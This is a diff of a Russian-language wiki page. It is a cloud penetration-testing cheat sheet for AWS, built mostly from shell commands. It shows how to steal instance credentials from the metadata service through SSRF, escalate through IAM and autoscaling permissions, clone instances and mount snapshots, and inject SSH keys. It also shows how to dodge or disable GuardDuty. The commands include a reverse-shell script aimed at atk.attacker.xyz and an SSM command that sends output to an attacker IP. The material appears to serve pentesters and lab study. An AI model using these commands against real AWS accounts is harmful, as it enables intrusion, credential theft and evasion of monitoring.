Aws — различия между версиями
Drakylar (обсуждение | вклад) м (→EC2 (Elastic Compute Cloud)) |
Drakylar (обсуждение | вклад) м (→Службы) |
||
(не показано 59 промежуточных версий этого же участника) | |||
Строка 209: | Строка 209: | ||
У каждого профиля будет указан: | У каждого профиля будет указан: | ||
− | * Access Key ID | + | * Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..." |
− | * Access Key | + | * Access Key - 40 случайных символов различного регистра. |
* Access Token - не всегда указывается | * Access Token - не всегда указывается | ||
Строка 257: | Строка 257: | ||
# Создание нового пользователя - сервис IAM | # Создание нового пользователя - сервис IAM | ||
aws iam create-user --user-name aws-admin2 | aws iam create-user --user-name aws-admin2 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == IMDS (Instance Metadata Service) == | ||
+ | |||
+ | Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2. | ||
+ | |||
+ | Есть 2 версии: | ||
+ | |||
+ | *IMDSv1 - версия 1 по-умолчанию, не требует токен. | ||
+ | |||
+ | *IMDSv2 - версия 2, для запросов требуется токен. | ||
+ | |||
+ | Запрос без токена: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | curl http://169.254.169.254/latest/meta-data/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Запрос с токеном: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # В начале делаем запрос на директорию /security-credentials/ | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | ||
+ | # Потом выбираем нужный аккаунт и делаем запрос на него | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Пример ответа: | ||
+ | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | { | ||
+ | "Code" : "Success", | ||
+ | "LastUpdated" : "2019-12-03T07:15:34Z", | ||
+ | "Type" : "AWS-HMAC", | ||
+ | "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx", | ||
+ | "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx", | ||
+ | "Token" : "xxxxxxxxxxxxxxxxxxxxx", | ||
+ | "Expiration" : "2019-12-03T13:50:22Z" | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | После чего эти учетные данные можно использовать с awscli. | ||
+ | |||
+ | |||
+ | Другие полезные Endpoint'ы: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | http://169.254.169.254/ | ||
+ | http://169.254.169.254/latest/user-data | ||
+ | http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | ||
+ | http://169.254.169.254/latest/meta-data/ | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance | ||
+ | http://169.254.169.254/latest/meta-data/ami-id | ||
+ | http://169.254.169.254/latest/meta-data/reservation-id | ||
+ | http://169.254.169.254/latest/meta-data/hostname | ||
+ | http://169.254.169.254/latest/meta-data/public-keys/ | ||
+ | http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key | ||
+ | http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | ||
+ | http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access | ||
+ | http://169.254.169.254/latest/dynamic/instance-identity/document | ||
</syntaxhighlight> | </syntaxhighlight> | ||
= Ролевая модель = | = Ролевая модель = | ||
− | Почти все описание доступа идет через роли | + | Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик: |
+ | * trust policy - определяет, чья будет роль | ||
− | Каждая | + | * permissions policy - определяет какой доступ будет у тех, у кого эта роль. |
+ | |||
+ | |||
+ | |||
+ | |||
+ | Каждая политика состоит из следующих компонентов: | ||
* Ресурс - цель, кому выдается правило. Может быть: | * Ресурс - цель, кому выдается правило. Может быть: | ||
** Пользователь | ** Пользователь | ||
** Группа, в которой могут быть аккаунты по какому то признаку | ** Группа, в которой могут быть аккаунты по какому то признаку | ||
− | ** Другая | + | ** Другая политика. |
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик) | * Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик) | ||
Строка 281: | Строка 349: | ||
Пример политики: | Пример политики: | ||
<syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" > | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" > | ||
− | + | { | |
− | + | "Version": "2012-10-17", //Версия политики | |
− | + | "Statement": [ | |
− | + | { | |
− | " | + | "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор |
− | + | "Effect": "Allow", //Разрешить или запретить | |
− | + | "Action": [ //Разрешенные/Запрещенные действия | |
− | + | "ec2:AttachVolume", | |
− | + | "ec2:DetachVolume" | |
− | + | ], | |
− | + | "Resource": [ //На какие ресурсы можно/нельзя совершать действия | |
− | + | "arn:aws:ec2:*:*:volume/*", | |
− | + | "arn:aws:ec2:*:*:instance/*" | |
− | + | ], | |
− | + | "Condition": { //Опционально - условия срабатывания | |
− | + | "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} | |
− | + | } | |
− | + | } | |
− | + | ] | |
− | + | } | |
− | ] | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 332: | Строка 399: | ||
] | ] | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | |||
= Службы = | = Службы = | ||
Строка 357: | Строка 423: | ||
См. Glue | См. Glue | ||
+ | |||
+ | ==== iam:PutRolePolicy ==== | ||
+ | |||
+ | Создать или обновить inline-политику для роли. | ||
+ | |||
+ | ==== iam:PutGroupPolicy ==== | ||
+ | |||
+ | Создать или обновить inline-политику для группы. | ||
+ | |||
+ | ==== iam:PuserUserPolicy ==== | ||
+ | |||
+ | Создать или обновить inline-политику. | ||
+ | |||
+ | ==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ==== | ||
+ | |||
+ | Обновить документ "AssumeRolePolicyDocument" для роли. | ||
=== Роли - повышение до админа === | === Роли - повышение до админа === | ||
Строка 411: | Строка 493: | ||
Создать административную политику. | Создать административную политику. | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ==== | ==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ==== | ||
Строка 435: | Строка 510: | ||
См. EC2 | См. EC2 | ||
+ | |||
+ | |||
+ | ==== iam:AttachUserPolicy ==== | ||
+ | |||
+ | Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение. | ||
+ | |||
+ | == AWS Shield == | ||
+ | |||
+ | Сервис для защиты от DDoS. | ||
+ | |||
+ | |||
+ | == Cognito == | ||
+ | |||
+ | Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения. | ||
+ | |||
+ | === Основное === | ||
+ | |||
+ | Cognito отвечает за следующие действия: | ||
+ | |||
+ | * Регистрация пользователя (email + пароль) | ||
+ | |||
+ | * Авторизация пользователя | ||
+ | |||
+ | * Работа с сохраненной пользовательской информацией (устанавливается приложением) | ||
+ | |||
+ | * Специальные действия (например, предоставление AWS-ключей) | ||
+ | |||
+ | |||
+ | Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации). | ||
+ | |||
+ | |||
+ | Пример URL: cognito-identity.us-east-1.amazonaws.com | ||
+ | |||
+ | |||
+ | За действие отвечает HTTP-заголовок "X-Amz-Target". В своем роде, это Endpoints API. | ||
+ | |||
+ | |||
+ | Какие параметры требуются для работы с ним: | ||
+ | |||
+ | 1. Название Endpoint'а - "X-Amz-Target" заголовок | ||
+ | |||
+ | 2. Регион - "aws_project_region" параметр | ||
+ | |||
+ | 3. Session token - позже требуется для запросов. | ||
+ | |||
+ | 4. Identity Pool ID - нужен для запросов типа Identity Pools. | ||
+ | |||
+ | |||
+ | Также пишут, что Cognito разделяется на две основные части: | ||
+ | |||
+ | * User Pools - для тех, кому нужна только регистрация и аутентификация | ||
+ | |||
+ | * Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам. | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | === X-Amz-Target (Endpoints) === | ||
+ | |||
+ | ==== AWSCognitoIdentityService.UpdateUserAttributes ==== | ||
+ | |||
+ | У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее. | ||
+ | |||
+ | Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a | ||
+ | |||
+ | Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно. | ||
+ | |||
+ | P.S. Мб неверно название Endpoint'а. Надо проверять. | ||
+ | |||
+ | |||
+ | ==== AWSCognitoIdentityService.GetCredentialsForIdentity ==== | ||
+ | |||
+ | Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено. | ||
+ | |||
+ | Требуется aws_identity_pool_id. | ||
+ | |||
+ | В некоторых примерах оно также было указано как "com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity" | ||
+ | |||
+ | |||
+ | Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963 | ||
+ | |||
+ | |||
+ | ==== AWSCognitoIdentityService.GetOpenIdToken ==== | ||
+ | |||
+ | Позволяет получить OpenID токен, действительный на 10 минут. | ||
+ | |||
+ | В примере требуется только "IdentityID" | ||
+ | |||
+ | |||
+ | ==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ==== | ||
+ | |||
+ | Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый "IdentityID" (если он не был указан). | ||
+ | |||
+ | |||
+ | ==== AWSCognitoIdentityService.GetCredentialsForIdentity ==== | ||
+ | |||
+ | Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID. | ||
+ | |||
+ | https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html | ||
+ | |||
+ | == GuardDuty == | ||
+ | |||
+ | Сервис для детектирования атак используя машинное обучение. | ||
+ | |||
+ | Для детекта использует следующие сервисы: | ||
+ | |||
+ | * CloudTrail | ||
+ | * VPC Flow Logs | ||
+ | * DNS Logs | ||
+ | * ...to be continued | ||
+ | |||
+ | === Обход защиты === | ||
+ | |||
+ | Далее идут правила детекта и то, как их можно обойти. | ||
+ | |||
+ | ==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ==== | ||
+ | |||
+ | Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2). | ||
+ | |||
+ | Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF). | ||
+ | |||
+ | Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. | ||
+ | Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2. | ||
+ | |||
+ | Может быть для этого выгодно держать проксирующий сервер EC2. | ||
+ | |||
+ | ==== UserAgent rules ==== | ||
+ | |||
+ | Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. | ||
+ | Варианты: | ||
+ | |||
+ | * Использовать утилиту pacu (уже есть смена User-Agent) | ||
+ | |||
+ | * Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента. | ||
+ | |||
+ | === Роли - Управление === | ||
+ | |||
+ | Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html | ||
+ | |||
+ | ==== guardduty:UpdateDetector ==== | ||
+ | |||
+ | Позволяет выключить GuardDuty (ну или редатировать правила): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | aws guardduty update-detector --detector-id <id of detector> --no-enable | ||
+ | </syntaxhighlight> | ||
+ | ==== guardduty:DeleteDetector ==== | ||
+ | |||
+ | Удалить правило детектирования: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | aws guardduty delete-detector --detector-id <id of detector> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == STS (Security Token Service) == | ||
+ | |||
+ | Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей | ||
+ | |||
+ | == KMS (Key Management Service) == | ||
+ | |||
+ | Сервис для создания криптографических ключей, управления ими и использования их в других сервисах. | ||
+ | |||
+ | Администраторы амазона не смогут получить к ним доступ. | ||
+ | |||
+ | |||
+ | Ключи со временем обновляются: | ||
+ | |||
+ | * Customers keys - раз в 365 дней | ||
+ | |||
+ | * AWS keys - раз в 3 года. | ||
+ | |||
+ | |||
+ | Старые ключи также можно будет использовать для расшифровки. | ||
+ | |||
+ | == CloudHSM (Hardware Security Module) == | ||
+ | |||
+ | Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. | ||
+ | |||
+ | Пишут, что устройство будет закреплено только за вами. | ||
+ | |||
+ | Также можно получить доступ к CloudHSM-Instance по SSH. | ||
+ | |||
+ | == Athena == | ||
+ | |||
+ | Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL. | ||
+ | |||
+ | Умеет работать с шифрованными S3 и сохранять шифрованный вывод. | ||
+ | |||
+ | == EBS (Elastic Block Store) == | ||
+ | |||
+ | Сервис блочного хранилища (просто жесткий диск, который можно примонтировать). | ||
+ | |||
+ | === Роли - управление сервисом === | ||
+ | |||
+ | ==== ec2:CreateVolume + ec2:AttachVolume ==== | ||
+ | |||
+ | Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Создание Volume из snapshot'а (если требуется подключить snapshot) | ||
+ | aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone | ||
+ | # Подключение Volume к виртуалке EC2 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Далее идем на виртуалку и вводим команды: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Поиск Volume | ||
+ | lsblk | ||
+ | # Проверка есть ли на нем данные | ||
+ | sudo file -s /dev/xvdf | ||
+ | # форматировать образ под ext4 (если неподходящая файловая система) | ||
+ | sudo mkfs -t ext4 /dev/xvdf | ||
+ | # Создаем директорию куда примонтируем позже | ||
+ | sudo mkdir /tmp/newvolume | ||
+ | # Монтируем | ||
+ | sudo mount /dev/xvdf /tmp/newvolume/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Диск будет доступен на /tmp/newvolume. | ||
+ | |||
+ | |||
== Lambda == | == Lambda == | ||
Строка 512: | Строка 806: | ||
== S3 == | == S3 == | ||
− | Файловое хранилище. | + | Файловое хранилище, доступное по http(s). |
Формат ссылки: | Формат ссылки: | ||
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
− | https://{ | + | https://{bucket_name}.s3.amazonaws.com |
+ | https://s3.amazonaws.com/{bucket_name}/ | ||
+ | |||
+ | # US Standard | ||
+ | http://s3.amazonaws.com | ||
+ | # Ireland | ||
+ | http://s3-eu-west-1.amazonaws.com | ||
+ | # Northern California | ||
+ | http://s3-us-west-1.amazonaws.com | ||
+ | # Singapore | ||
+ | http://s3-ap-southeast-1.amazonaws.com | ||
+ | # Tokyo | ||
+ | http://s3-ap-northeast-1.amazonaws.com | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Делать запросы можно: | ||
+ | |||
+ | * В браузере - http(s) | ||
+ | |||
+ | * Используя awscli: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2] | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | В S3 может использоваться шифрование: | ||
+ | |||
+ | * SSE-KMS - Server-Side с ключами KMS | ||
+ | |||
+ | * SSE-C - Server-Side с ключами заказчика | ||
+ | |||
+ | * CSE-KMS - Client-Side с ключами KMS | ||
+ | |||
+ | * CSE-C - Client-Side с ключами заказчика | ||
+ | |||
+ | === Сбор информации === | ||
+ | |||
+ | ==== Определение региона ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | $ dig flaws.cloud | ||
+ | ;; ANSWER SECTION: | ||
+ | flaws.cloud. 5 IN A 52.218.192.11 | ||
+ | |||
+ | $ nslookup 52.218.192.11 | ||
+ | Non-authoritative answer: | ||
+ | 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com | ||
+ | |||
+ | # Итоговый URL будет: | ||
+ | flaws.cloud.s3-website-us-west-2.amazonaws.com | ||
+ | flaws.cloud.s3-us-west-2.amazonaws.com | ||
+ | </syntaxhighlight> | ||
+ | Если будет некорректный регион - редиректнет на корректный. | ||
+ | |||
+ | |||
+ | ==== Список файлов ==== | ||
+ | |||
+ | На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML. | ||
+ | |||
+ | Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied). | ||
+ | |||
+ | |||
+ | === Роли - управление === | ||
+ | |||
+ | ==== s3:ListBucket ==== | ||
+ | |||
+ | Посмотреть список файлов в S3-хранилище: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2] | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== s3:ListAllMyBuckets ==== | ||
+ | |||
+ | Посмотреть список всех S3-хранилищ, доступных мне: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws s3api list-buckets | ||
+ | aws s3 ls | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 532: | Строка 902: | ||
EC2 (Amazon Elastic Compute Cloud) == VPS | EC2 (Amazon Elastic Compute Cloud) == VPS | ||
+ | |||
+ | |||
+ | Состоит из: | ||
+ | |||
+ | * Instance - название виртуальной машины | ||
+ | |||
+ | * AMI (Amazon Machine Image) - образ виртуальной машины | ||
+ | |||
+ | * SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд. | ||
Строка 538: | Строка 917: | ||
ec2-{ip-seperated}.compute-1.amazonaws.com | ec2-{ip-seperated}.compute-1.amazonaws.com | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | === SSM Agent === | ||
+ | |||
+ | Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд. | ||
+ | |||
+ | Его тоже можно выбрать целью атаки | ||
+ | |||
+ | ==== MITM ==== | ||
+ | |||
+ | Есть возможность вклиниваться в общение от SSM-Агента локально. | ||
+ | |||
+ | PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception | ||
+ | |||
+ | Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/ | ||
+ | |||
=== Роли - повышение привилегий === | === Роли - повышение привилегий === | ||
Строка 558: | Строка 952: | ||
Второй вариант - скрипт для запуска: | Второй вариант - скрипт для запуска: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh | aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 575: | Строка 970: | ||
=== Роли - управление === | === Роли - управление === | ||
+ | |||
+ | ==== ec2:CreateVolume + ec2:AttachVolume ==== | ||
+ | |||
+ | См. EBS. | ||
+ | |||
+ | ==== ec2:DescribeSnapshots ==== | ||
+ | |||
+ | Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== ec2:CreateVolume ==== | ||
+ | |||
+ | Прзврояет примаунтить SnapShot, чтобы потом его изучить: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== ec2:* (Копирование EC2) ==== | ||
+ | |||
+ | Позволяет скопировать EC2 используя AMI-images: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Создаем новый AMI из Instance-ID | ||
+ | aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1 | ||
+ | |||
+ | # Добавляем наш ключ в систему | ||
+ | aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1 | ||
+ | |||
+ | # Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) | ||
+ | aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1 | ||
+ | |||
+ | # Проверяем запустился ли инстанс | ||
+ | aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 | ||
+ | |||
+ | # Не обязательно - редактируем группу инстанса | ||
+ | aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1 | ||
+ | |||
+ | # В конце работы - останавливаем и удаляем инстанс | ||
+ | aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 | ||
+ | aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== ec2-instance-connect:SendSSHPublicKey ==== | ||
+ | |||
+ | Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Получаем информацию об инстансе, который будем атаковать. | ||
+ | aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}" | ||
+ | |||
+ | # Добавляем ключ к EC2-инстансу. | ||
+ | aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds</syntaxhighlight> | ||
+ | |||
+ | ==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ==== | ||
+ | |||
+ | Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд. | ||
+ | |||
+ | В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console. | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Получаем информацию об инстансе, который будем атаковать. | ||
+ | aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}" | ||
+ | |||
+ | # Добавляем ключ к EC2-инстансу. | ||
+ | aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1 | ||
+ | |||
+ | # Подключаемся (кроме GovCloud US региона) | ||
+ | ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws | ||
+ | # Подключаемся (только для GovCloud US региона) | ||
+ | ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com | ||
+ | |||
+ | # В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться) | ||
+ | sudo systemctl restart serial-getty@ttyS0 | ||
+ | # Если не сработало - мб требуется ребутать сервер. | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html | ||
+ | |||
+ | ==== ssm:SendCommand ==== | ||
+ | |||
+ | Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется: | ||
+ | |||
+ | * Знать Instance-ID, на котором запущен сервис SSM | ||
+ | |||
+ | * Свой сервер, на который будет приходить отстук - результат команды. | ||
+ | |||
+ | Команды для эксплуатации: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation | ||
+ | aws ssm describe-instance-information --profile stolencreds --region eu-west-1 | ||
+ | # Выполняем команду | ||
+ | aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds | ||
+ | # Получаем результат команды(может не хватить прав ssm:ListCommandInvocations) | ||
+ | aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds | ||
+ | |||
+ | # Пример - результат команды на удаленный сервер | ||
+ | $ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== EC2:CreateSnapshot + Active Directory ==== | ||
+ | |||
+ | См. AD. | ||
+ | |||
+ | |||
+ | == Auto Scaling (autoscaling) == | ||
+ | |||
+ | Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora. | ||
+ | |||
+ | Для работы сервиса требуется: | ||
+ | |||
+ | 1. Конфигурация запуска EC2. | ||
+ | |||
+ | 2. Конфигурация масштабирования. | ||
+ | |||
+ | |||
+ | == Роли - повышение привилегий == | ||
+ | |||
+ | === autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole === | ||
+ | |||
+ | Позволяет создать и запустить конфигурацию масштабирования. | ||
+ | |||
+ | ==== Создаем конфигурацию запуска EC2 ==== | ||
+ | |||
+ | Для создания требуется: | ||
+ | |||
+ | 1. Image-id | ||
+ | |||
+ | 2. iam-instance-profile | ||
+ | |||
+ | |||
+ | Следующая команда создает конфигурацию с командой из файла reverse-shell.sh: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Пример содержимого reverse-shell.sh: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | #!/bin/bash | ||
+ | /bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== Создаем и запускаем группу масштабируемости ==== | ||
+ | |||
+ | Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам). | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb" | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b | ||
+ | |||
